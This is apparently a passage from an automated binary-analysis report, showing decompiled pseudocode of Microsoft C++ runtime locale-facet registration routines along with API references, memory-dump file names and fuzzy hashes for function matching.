																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t668, _t889, _t911, 0x14);
																															E6DD16653(_t946 - 0x14, 0);
																															_t912 =  *0x6ddd6df8; // 0x0
																															 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																															 *(_t946 - 0x10) = _t912;
																															_t424 = E6DCF161C(0x6ddd6da4);
																															_t734 =  *((intOrPtr*)(_t946 + 8));
																															_t890 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t424);
																															__eflags = _t890;
																															if(_t890 != 0) {
																																L68:
																																E6DD166BA(_t946 - 0x14);
																																return E6DD30075(_t890);
																															} else {
																																__eflags = _t912;
																																if(_t912 == 0) {
																																	_push( *((intOrPtr*)(_t946 + 8)));
																																	_push(_t946 - 0x10);
																																	__eflags = E6DD21127(_t668, _t734, _t879, _t890, _t912) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t946 - 0x20);
																																		E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd783cf, _t668, _t890, _t912, 0x14);
																																		E6DD16653(_t946 - 0x14, 0);
																																		_t913 =  *0x6ddd6df4; // 0x0
																																		 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																																		 *(_t946 - 0x10) = _t913;
																																		_t437 = E6DCF161C(0x6ddd6da0);
																																		_t741 =  *((intOrPtr*)(_t946 + 8));
																																		_t891 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t437);
																																		__eflags = _t891;
																																		if(_t891 != 0) {
																																			L75:
																																			E6DD166BA(_t946 - 0x14);
																																			return E6DD30075(_t891);
																																		} else {
																																			__eflags = _t913;
																																			if(_t913 == 0) {
																																				_push( *((intOrPtr*)(_t946 + 8)));
																																				_push(_t946 - 0x10);
																																				__eflags = E6DD211AB(_t668, _t741, _t879, _t891, _t913) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E6DCF1438(_t946 - 0x20);
																																					E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																																					asm("int3");
																																					E6DD300AC(0x6dd783cf, _t668, _t891, _t913, 0x14);
																																					E6DD16653(_t946 - 0x14, 0);
																																					_t914 =  *0x6ddd6dc8; // 0x0
																																					 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																																					 *(_t946 - 0x10) = _t914;
																																					_t450 = E6DCF161C(0x6ddd6d7c);
																																					_t748 =  *((intOrPtr*)(_t946 + 8));
																																					_t892 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t450);
																																					__eflags = _t892;
																																					if(_t892 != 0) {
																																						L82:
																																						E6DD166BA(_t946 - 0x14);
																																						return E6DD30075(_t892);
																																					} else {
																																						__eflags = _t914;
																																						if(_t914 == 0) {
																																							_push( *((intOrPtr*)(_t946 + 8)));
																																							_push(_t946 - 0x10);
																																							__eflags = E6DD21230(_t668, _t748, _t879, _t892, _t914) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E6DCF1438(_t946 - 0x20);
																																								E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																																								asm("int3");
																																								E6DD300AC(0x6dd783cf, _t668, _t892, _t914, 0x14);
																																								E6DD16653(_t946 - 0x14, 0);
																																								_t915 =  *0x6ddd6dc4; // 0x0
																																								 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																																								 *(_t946 - 0x10) = _t915;
																																								_t463 = E6DCF161C(0x6ddd6d78);
																																								_t755 =  *((intOrPtr*)(_t946 + 8));
																																								_t893 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t463);
																																								__eflags = _t893;
																																								if(_t893 != 0) {
																																									L89:
																																									E6DD166BA(_t946 - 0x14);
																																									return E6DD30075(_t893);
																																								} else {
																																									__eflags = _t915;
																																									if(_t915 == 0) {
																																										_push( *((intOrPtr*)(_t946 + 8)));
																																										_push(_t946 - 0x10);
																																										__eflags = E6DD212B4(_t668, _t755, _t879, _t893, _t915) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E6DCF1438(_t946 - 0x20);
																																											E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																																											asm("int3");
																																											E6DD300AC(0x6dd783cf, _t668, _t893, _t915, 0x14);
																																											E6DD16653(_t946 - 0x14, 0);
																																											_t916 =  *0x6ddd6dd8; // 0x0
																																											 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																																											 *(_t946 - 0x10) = _t916;
																																											_t476 = E6DCF161C(0x6ddd6d84);
																																											_t762 =  *((intOrPtr*)(_t946 + 8));
																																											_t894 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t476);
																																											__eflags = _t894;
																																											if(_t894 != 0) {
																																												L96:
																																												E6DD166BA(_t946 - 0x14);
																																												return E6DD30075(_t894);
																																											} else {
																																												__eflags = _t916;
																																												if(_t916 == 0) {
																																													_push( *((intOrPtr*)(_t946 + 8)));
																																													_push(_t946 - 0x10);
																																													__eflags = E6DD21339(_t668, _t762, _t879, _t894, _t916) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E6DCF1438(_t946 - 0x20);
																																														E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																																														asm("int3");
																																														E6DD300AC(0x6dd783cf, _t668, _t894, _t916, 0x14);
																																														E6DD16653(_t946 - 0x14, 0);
																																														_t917 =  *0x6ddd6db0; // 0x0
																																														 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																																														 *(_t946 - 0x10) = _t917;
																																														_t489 = E6DCF161C(0x6ddd6d64);
																																														_t769 =  *((intOrPtr*)(_t946 + 8));
																																														_t895 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t489);
																																														__eflags = _t895;
																																														if(_t895 != 0) {
																																															L103:
																																															E6DD166BA(_t946 - 0x14);
																																															return E6DD30075(_t895);
																																														} else {
																																															__eflags = _t917;
																																															if(_t917 == 0) {
																																																_push( *((intOrPtr*)(_t946 + 8)));
																																																_push(_t946 - 0x10);
																																																__eflags = E6DD213A1(_t668, _t769, _t879, _t895, _t917) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E6DCF1438(_t946 - 0x20);
																																																	E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																																																	asm("int3");
																																																	E6DD300AC(0x6dd783cf, _t668, _t895, _t917, 0x14);
																																																	E6DD16653(_t946 - 0x14, 0);
																																																	_t918 =  *0x6ddd6ddc; // 0x0
																																																	 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																																																	 *(_t946 - 0x10) = _t918;
																																																	_t502 = E6DCF161C(0x6ddd6d88);
																																																	_t776 =  *((intOrPtr*)(_t946 + 8));
																																																	_t896 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t502);
																																																	__eflags = _t896;
																																																	if(_t896 != 0) {
																																																		L110:
																																																		E6DD166BA(_t946 - 0x14);
																																																		return E6DD30075(_t896);
																																																	} else {
																																																		__eflags = _t918;
																																																		if(_t918 == 0) {
																																																			_push( *((intOrPtr*)(_t946 + 8)));
																																																			_push(_t946 - 0x10);
																																																			__eflags = E6DD21409(_t668, _t776, _t879, _t896, _t918) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E6DCF1438(_t946 - 0x20);
																																																				E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																																																				asm("int3");
																																																				E6DD300AC(0x6dd783cf, _t668, _t896, _t918, 0x14);
																																																				E6DD16653(_t946 - 0x14, 0);
																																																				_t919 =  *0x6ddd6de0; // 0x0
																																																				 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																																																				 *(_t946 - 0x10) = _t919;
																																																				_t515 = E6DCF161C(0x6ddd6d8c);
																																																				_t783 =  *((intOrPtr*)(_t946 + 8));
																																																				_t897 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t515);
																																																				__eflags = _t897;
																																																				if(_t897 != 0) {
																																																					L117:
																																																					E6DD166BA(_t946 - 0x14);
																																																					return E6DD30075(_t897);
																																																				} else {
																																																					__eflags = _t919;
																																																					if(_t919 == 0) {
																																																						_push( *((intOrPtr*)(_t946 + 8)));
																																																						_push(_t946 - 0x10);
																																																						__eflags = E6DD21471(_t668, _t783, _t879, _t897, _t919) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E6DCF1438(_t946 - 0x20);
																																																							E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																																																							asm("int3");
																																																							E6DD300AC(0x6dd783cf, _t668, _t897, _t919, 0x14);
																																																							E6DD16653(_t946 - 0x14, 0);
																																																							_t920 =  *0x6ddd6dfc; // 0x0
																																																							 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																																																							 *(_t946 - 0x10) = _t920;
																																																							_t528 = E6DCF161C(0x6ddd6da8);
																																																							_t790 =  *((intOrPtr*)(_t946 + 8));
																																																							_t898 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t528);
																																																							__eflags = _t898;
																																																							if(_t898 != 0) {
																																																								L124:
																																																								E6DD166BA(_t946 - 0x14);
																																																								return E6DD30075(_t898);
																																																							} else {
																																																								__eflags = _t920;
																																																								if(_t920 == 0) {
																																																									_push( *((intOrPtr*)(_t946 + 8)));
																																																									_push(_t946 - 0x10);
																																																									__eflags = E6DD214EC(_t668, _t790, _t879, _t898, _t920) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E6DCF1438(_t946 - 0x20);
																																																										E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																																																										asm("int3");
																																																										E6DD300AC(0x6dd783cf, _t668, _t898, _t920, 0x14);
																																																										E6DD16653(_t946 - 0x14, 0);
																																																										_t921 =  *0x6ddd6dcc; // 0x0
																																																										 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																																																										 *(_t946 - 0x10) = _t921;
																																																										_t541 = E6DCF161C(0x6ddd6d80);
																																																										_t797 =  *((intOrPtr*)(_t946 + 8));
																																																										_t899 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t541);
																																																										__eflags = _t899;
																																																										if(_t899 != 0) {
																																																											L131:
																																																											E6DD166BA(_t946 - 0x14);
																																																											return E6DD30075(_t899);
																																																										} else {
																																																											__eflags = _t921;
																																																											if(_t921 == 0) {
																																																												_push( *((intOrPtr*)(_t946 + 8)));
																																																												_push(_t946 - 0x10);
																																																												__eflags = E6DD21558(_t668, _t797, _t879, _t899, _t921) - 0xffffffff;
																																																												if(__eflags == 0) {
																																																													E6DCF1438(_t946 - 0x20);
																																																													E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																																																													asm("int3");
																																																													E6DD300AC(0x6dd783cf, _t668, _t899, _t921, 0x14);
																																																													E6DD16653(_t946 - 0x14, 0);
																																																													_t922 =  *0x6ddd6e00; // 0x0
																																																													 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																																																													 *(_t946 - 0x10) = _t922;
																																																													_t554 = E6DCF161C(0x6ddd6dac);
																																																													_t804 =  *((intOrPtr*)(_t946 + 8));
																																																													_t900 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t554);
																																																													__eflags = _t900;
																																																													if(_t900 != 0) {
																																																														L138:
																																																														E6DD166BA(_t946 - 0x14);
																																																														return E6DD30075(_t900);
																																																													} else {
																																																														__eflags = _t922;
																																																														if(_t922 == 0) {
																																																															_push( *((intOrPtr*)(_t946 + 8)));
																																																															_push(_t946 - 0x10);
																																																															__eflags = E6DD215C4(_t668, _t804, _t879, _t900, _t922) - 0xffffffff;
																																																															if(__eflags == 0) {
																																																																E6DCF1438(_t946 - 0x20);
																																																																E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																																																																asm("int3");
																																																																E6DD300AC(0x6dd783cf, _t668, _t900, _t922, 0x14);
																																																																E6DD16653(_t946 - 0x14, 0);
																																																																_t923 =  *0x6ddd6dd0; // 0x0
																																																																 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																																																																 *(_t946 - 0x10) = _t923;
																																																																_t567 = E6DCF161C(0x6ddd6d60);
																																																																_t811 =  *((intOrPtr*)(_t946 + 8));
																																																																_t901 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t567);
																																																																__eflags = _t901;
																																																																if(_t901 != 0) {
																																																																	L145:
																																																																	E6DD166BA(_t946 - 0x14);
																																																																	return E6DD30075(_t901);
																																																																} else {
																																																																	__eflags = _t923;
																																																																	if(_t923 == 0) {
																																																																		_push( *((intOrPtr*)(_t946 + 8)));
																																																																		_push(_t946 - 0x10);
																																																																		__eflags = E6DD2162A(_t668, _t811, _t879, _t901, _t923) - 0xffffffff;
																																																																		if(__eflags == 0) {
																																																																			_t815 = _t946 - 0x20;
																																																																			E6DCF1438(_t815);
																																																																			E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																																																																			asm("int3");
																																																																			E6DD300AC(0x6dd7851f, _t668, _t901, _t923, 4);
																																																																			_t924 = _t815;
																																																																			 *(_t946 - 0x10) = _t924;
																																																																			 *((intOrPtr*)(_t924 + 4)) =  *((intOrPtr*)(_t946 + 0xc));
																																																																			_push( *((intOrPtr*)(_t946 + 0x14)));
																																																																			_t301 = _t946 - 4;
																																																																			 *_t301 =  *(_t946 - 4) & 0x00000000;
																																																																			__eflags =  *_t301;
																																																																			 *_t924 = 0x6dd7c0c4;
																																																																			 *((char*)(_t924 + 0x28)) =  *((intOrPtr*)(_t946 + 0x10));
																																																																			E6DD2542F(_t668, _t815, _t879, _t901, _t924,  *_t301);
																																																																			return E6DD30075(_t924,  *((intOrPtr*)(_t946 + 8)));
																																																																		} else {
																																																																			_t901 =  *(_t946 - 0x10);
																																																																			 *(_t946 - 0x10) = _t901;
																																																																			 *(_t946 - 4) = 1;
																																																																			E6DD16FD3(__eflags, _t901);
																																																																			 *0x6dd7a26c();
																																																																			 *((intOrPtr*)( *((intOrPtr*)( *_t901 + 4))))();
																																																																			 *0x6ddd6dd0 = _t901;
																																																																			goto L145;
																																																																		}
																																																																	} else {
																																																																		_t901 = _t923;
																																																																		goto L145;
																																																																	}
																																																																}
																																																															} else {
																																																																_t900 =  *(_t946 - 0x10);
																																																																 *(_t946 - 0x10) = _t900;
																																																																 *(_t946 - 4) = 1;
																																																																E6DD16FD3(__eflags, _t900);
																																																																 *0x6dd7a26c();
																																																																 *((intOrPtr*)( *((intOrPtr*)( *_t900 + 4))))();
																																																																 *0x6ddd6e00 = _t900;
																																																																goto L138;
																																																															}
																																																														} else {
																																																															_t900 = _t922;
																																																															goto L138;
																																																														}
																																																													}
																																																												} else {
																																																													_t899 =  *(_t946 - 0x10);
																																																													 *(_t946 - 0x10) = _t899;
																																																													 *(_t946 - 4) = 1;
																																																													E6DD16FD3(__eflags, _t899);
																																																													 *0x6dd7a26c();
																																																													 *((intOrPtr*)( *((intOrPtr*)( *_t899 + 4))))();
																																																													 *0x6ddd6dcc = _t899;
																																																													goto L131;
																																																												}
																																																											} else {
																																																												_t899 = _t921;
																																																												goto L131;
																																																											}
																																																										}
																																																									} else {
																																																										_t898 =  *(_t946 - 0x10);
																																																										 *(_t946 - 0x10) = _t898;
																																																										 *(_t946 - 4) = 1;
																																																										E6DD16FD3(__eflags, _t898);
																																																										 *0x6dd7a26c();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t898 + 4))))();
																																																										 *0x6ddd6dfc = _t898;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t898 = _t920;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t897 =  *(_t946 - 0x10);
																																																							 *(_t946 - 0x10) = _t897;
																																																							 *(_t946 - 4) = 1;
																																																							E6DD16FD3(__eflags, _t897);
																																																							 *0x6dd7a26c();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t897 + 4))))();
																																																							 *0x6ddd6de0 = _t897;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t897 = _t919;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t896 =  *(_t946 - 0x10);
																																																				 *(_t946 - 0x10) = _t896;
																																																				 *(_t946 - 4) = 1;
																																																				E6DD16FD3(__eflags, _t896);
																																																				 *0x6dd7a26c();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t896 + 4))))();
																																																				 *0x6ddd6ddc = _t896;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t896 = _t918;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t895 =  *(_t946 - 0x10);
																																																	 *(_t946 - 0x10) = _t895;
																																																	 *(_t946 - 4) = 1;
																																																	E6DD16FD3(__eflags, _t895);
																																																	 *0x6dd7a26c();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t895 + 4))))();
																																																	 *0x6ddd6db0 = _t895;
																																																	goto L103;
																																																}
																																															} else {
																																																_t895 = _t917;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t894 =  *(_t946 - 0x10);
																																														 *(_t946 - 0x10) = _t894;
																																														 *(_t946 - 4) = 1;
																																														E6DD16FD3(__eflags, _t894);
																																														 *0x6dd7a26c();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t894 + 4))))();
																																														 *0x6ddd6dd8 = _t894;
																																														goto L96;
																																													}
																																												} else {
																																													_t894 = _t916;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t893 =  *(_t946 - 0x10);
																																											 *(_t946 - 0x10) = _t893;
																																											 *(_t946 - 4) = 1;
																																											E6DD16FD3(__eflags, _t893);
																																											 *0x6dd7a26c();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t893 + 4))))();
																																											 *0x6ddd6dc4 = _t893;
																																											goto L89;
																																										}
																																									} else {
																																										_t893 = _t915;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t892 =  *(_t946 - 0x10);
																																								 *(_t946 - 0x10) = _t892;
																																								 *(_t946 - 4) = 1;
																																								E6DD16FD3(__eflags, _t892);
																																								 *0x6dd7a26c();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t892 + 4))))();
																																								 *0x6ddd6dc8 = _t892;
																																								goto L82;
																																							}
																																						} else {
																																							_t892 = _t914;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t891 =  *(_t946 - 0x10);
																																					 *(_t946 - 0x10) = _t891;
																																					 *(_t946 - 4) = 1;
																																					E6DD16FD3(__eflags, _t891);
																																					 *0x6dd7a26c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t891 + 4))))();
																																					 *0x6ddd6df4 = _t891;
																																					goto L75;
																																				}
																																			} else {
																																				_t891 = _t913;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t890 =  *(_t946 - 0x10);
																																		 *(_t946 - 0x10) = _t890;
																																		 *(_t946 - 4) = 1;
																																		E6DD16FD3(__eflags, _t890);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t890 + 4))))();
																																		 *0x6ddd6df8 = _t890;
																																		goto L68;
																																	}
																																} else {
																																	_t890 = _t912;
																																	goto L68;
																																}
																															}
																														} else {
																															_t889 =  *(_t946 - 0x10);
																															 *(_t946 - 0x10) = _t889;
																															 *(_t946 - 4) = 1;
																															E6DD16FD3(__eflags, _t889);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t889 + 4))))();
																															 *0x6ddd6dc0 = _t889;
																															goto L61;
																														}
																													} else {
																														_t889 = _t911;
																														goto L61;
																													}
																												}
																											} else {
																												_t888 =  *(_t946 - 0x10);
																												 *(_t946 - 0x10) = _t888;
																												 *(_t946 - 4) = 1;
																												E6DD16FD3(__eflags, _t888);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t888 + 4))))();
																												 *0x6ddd6df0 = _t888;
																												goto L54;
																											}
																										} else {
																											_t888 = _t910;
																											goto L54;
																										}
																									}
																								} else {
																									_t887 =  *(_t946 - 0x10);
																									 *(_t946 - 0x10) = _t887;
																									 *(_t946 - 4) = 1;
																									E6DD16FD3(__eflags, _t887);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t887 + 4))))();
																									 *0x6ddd6dbc = _t887;
																									goto L47;
																								}
																							} else {
																								_t887 = _t909;
																								goto L47;
																							}
																						}
																					} else {
																						_t886 =  *(_t946 - 0x10);
																						 *(_t946 - 0x10) = _t886;
																						 *(_t946 - 4) = 1;
																						E6DD16FD3(__eflags, _t886);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t886 + 4))))();
																						 *0x6ddd6dec = _t886;
																						goto L40;
																					}
																				} else {
																					_t886 = _t908;
																					goto L40;
																				}
																			}
																		} else {
																			_t885 =  *(_t946 - 0x10);
																			 *(_t946 - 0x10) = _t885;
																			 *(_t946 - 4) = 1;
																			E6DD16FD3(__eflags, _t885);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t885 + 4))))();
																			 *0x6ddd6db8 = _t885;
																			goto L33;
																		}
																	} else {
																		_t885 = _t907;
																		goto L33;
																	}
																}
															} else {
																_t884 =  *(_t946 - 0x10);
																 *(_t946 - 0x10) = _t884;
																 *(_t946 - 4) = 1;
																E6DD16FD3(__eflags, _t884);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t884 + 4))))();
																 *0x6ddd6de8 = _t884;
																goto L26;
															}
														} else {
															_t884 = _t906;
															goto L26;
														}
													}
												} else {
													_t883 =  *(_t946 - 0x10);
													 *(_t946 - 0x10) = _t883;
													 *(_t946 - 4) = 1;
													E6DD16FD3(__eflags, _t883);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t883 + 4))))();
													 *0x6ddd6dd4 = _t883;
													goto L19;
												}
											} else {
												_t883 = _t905;
												goto L19;
											}
										}
									} else {
										_t882 =  *(_t946 - 0x10);
										 *(_t946 - 0x10) = _t882;
										 *(_t946 - 4) = 1;
										E6DD16FD3(__eflags, _t882);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t882 + 4))))();
										 *0x6ddd6db4 = _t882;
										goto L12;
									}
								} else {
									_t882 = _t904;
									goto L12;
								}
							}
						} else {
							_t881 =  *(_t946 - 0x10);
							 *(_t946 - 0x10) = _t881;
							 *(_t946 - 4) = 1;
							E6DD16FD3(__eflags, _t881);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t881 + 4))))();
							 *0x6ddd6de4 = _t881;
							goto L5;
						}
					} else {
						_t881 = _t903;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD1EF98
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1EFA2
int.LIBCPMT ref: 6DD1EFB9

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

collate.LIBCPMT ref: 6DD1EFDC
std::_Facet_Register.LIBCPMT ref: 6DD1EFF3
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F013
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F031

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcollate
String ID:
API String ID: 2363045490-0
Opcode ID: ab0849f9932534cb9617486f61a06a3f3049b2e8ca9537e62394c745714e1043
Instruction ID: 6c1d525d39b082021350c5a692e4e015a3253277d86772ec5aed85d948b57e10
Opcode Fuzzy Hash: ab0849f9932534cb9617486f61a06a3f3049b2e8ca9537e62394c745714e1043
Instruction Fuzzy Hash: 9611BC729081298BCF01FBA4E850BEDB775AF45324F160409F614AB291EB74AA018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F759, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD1F759(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t139;
				signed int _t140;
				void* _t152;
				void* _t165;
				void* _t178;
				void* _t191;
				void* _t204;
				void* _t217;
				void* _t230;
				void* _t243;
				signed int _t359;
				signed int _t390;
				signed int _t391;
				signed int _t392;
				signed int _t393;
				signed int _t394;
				signed int _t395;
				signed int _t396;
				signed int _t397;
				signed int _t399;
				signed int _t400;
				signed int _t401;
				signed int _t402;
				signed int _t403;
				signed int _t404;
				signed int _t405;
				signed int _t406;
				signed int _t407;
				signed int _t408;
				void* _t418;

				_t387 = __edx;
				_t296 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t418 - 0x14, 0);
				_t399 =  *0x6ddd6dc4; // 0x0
				 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
				 *(_t418 - 0x10) = _t399;
				_t139 = E6DCF161C(0x6ddd6d78);
				_t299 =  *((intOrPtr*)(_t418 + 8));
				_t140 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t139);
				_t389 = _t140;
				if(_t140 != 0) {
					L5:
					E6DD166BA(_t418 - 0x14);
					return E6DD30075(_t389);
				} else {
					if(_t399 == 0) {
						_push( *((intOrPtr*)(_t418 + 8)));
						_push(_t418 - 0x10);
						__eflags = E6DD212B4(__ebx, _t299, __edx, _t389, _t399) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t418 - 0x20);
							E6DD33D74(_t418 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t389, _t399, 0x14);
							E6DD16653(_t418 - 0x14, 0);
							_t400 =  *0x6ddd6dd8; // 0x0
							 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
							 *(_t418 - 0x10) = _t400;
							_t152 = E6DCF161C(0x6ddd6d84);
							_t306 =  *((intOrPtr*)(_t418 + 8));
							_t390 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t152);
							__eflags = _t390;
							if(_t390 != 0) {
								L12:
								E6DD166BA(_t418 - 0x14);
								return E6DD30075(_t390);
							} else {
								__eflags = _t400;
								if(_t400 == 0) {
									_push( *((intOrPtr*)(_t418 + 8)));
									_push(_t418 - 0x10);
									__eflags = E6DD21339(_t296, _t306, __edx, _t390, _t400) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t418 - 0x20);
										E6DD33D74(_t418 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t296, _t390, _t400, 0x14);
										E6DD16653(_t418 - 0x14, 0);
										_t401 =  *0x6ddd6db0; // 0x0
										 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
										 *(_t418 - 0x10) = _t401;
										_t165 = E6DCF161C(0x6ddd6d64);
										_t313 =  *((intOrPtr*)(_t418 + 8));
										_t391 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t165);
										__eflags = _t391;
										if(_t391 != 0) {
											L19:
											E6DD166BA(_t418 - 0x14);
											return E6DD30075(_t391);
										} else {
											__eflags = _t401;
											if(_t401 == 0) {
												_push( *((intOrPtr*)(_t418 + 8)));
												_push(_t418 - 0x10);
												__eflags = E6DD213A1(_t296, _t313, __edx, _t391, _t401) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t418 - 0x20);
													E6DD33D74(_t418 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t296, _t391, _t401, 0x14);
													E6DD16653(_t418 - 0x14, 0);
													_t402 =  *0x6ddd6ddc; // 0x0
													 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
													 *(_t418 - 0x10) = _t402;
													_t178 = E6DCF161C(0x6ddd6d88);
													_t320 =  *((intOrPtr*)(_t418 + 8));
													_t392 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t178);
													__eflags = _t392;
													if(_t392 != 0) {
														L26:
														E6DD166BA(_t418 - 0x14);
														return E6DD30075(_t392);
													} else {
														__eflags = _t402;
														if(_t402 == 0) {
															_push( *((intOrPtr*)(_t418 + 8)));
															_push(_t418 - 0x10);
															__eflags = E6DD21409(_t296, _t320, _t387, _t392, _t402) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t418 - 0x20);
																E6DD33D74(_t418 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t296, _t392, _t402, 0x14);
																E6DD16653(_t418 - 0x14, 0);
																_t403 =  *0x6ddd6de0; // 0x0
																 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
																 *(_t418 - 0x10) = _t403;
																_t191 = E6DCF161C(0x6ddd6d8c);
																_t327 =  *((intOrPtr*)(_t418 + 8));
																_t393 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t191);
																__eflags = _t393;
																if(_t393 != 0) {
																	L33:
																	E6DD166BA(_t418 - 0x14);
																	return E6DD30075(_t393);
																} else {
																	__eflags = _t403;
																	if(_t403 == 0) {
																		_push( *((intOrPtr*)(_t418 + 8)));
																		_push(_t418 - 0x10);
																		__eflags = E6DD21471(_t296, _t327, _t387, _t393, _t403) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t418 - 0x20);
																			E6DD33D74(_t418 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t296, _t393, _t403, 0x14);
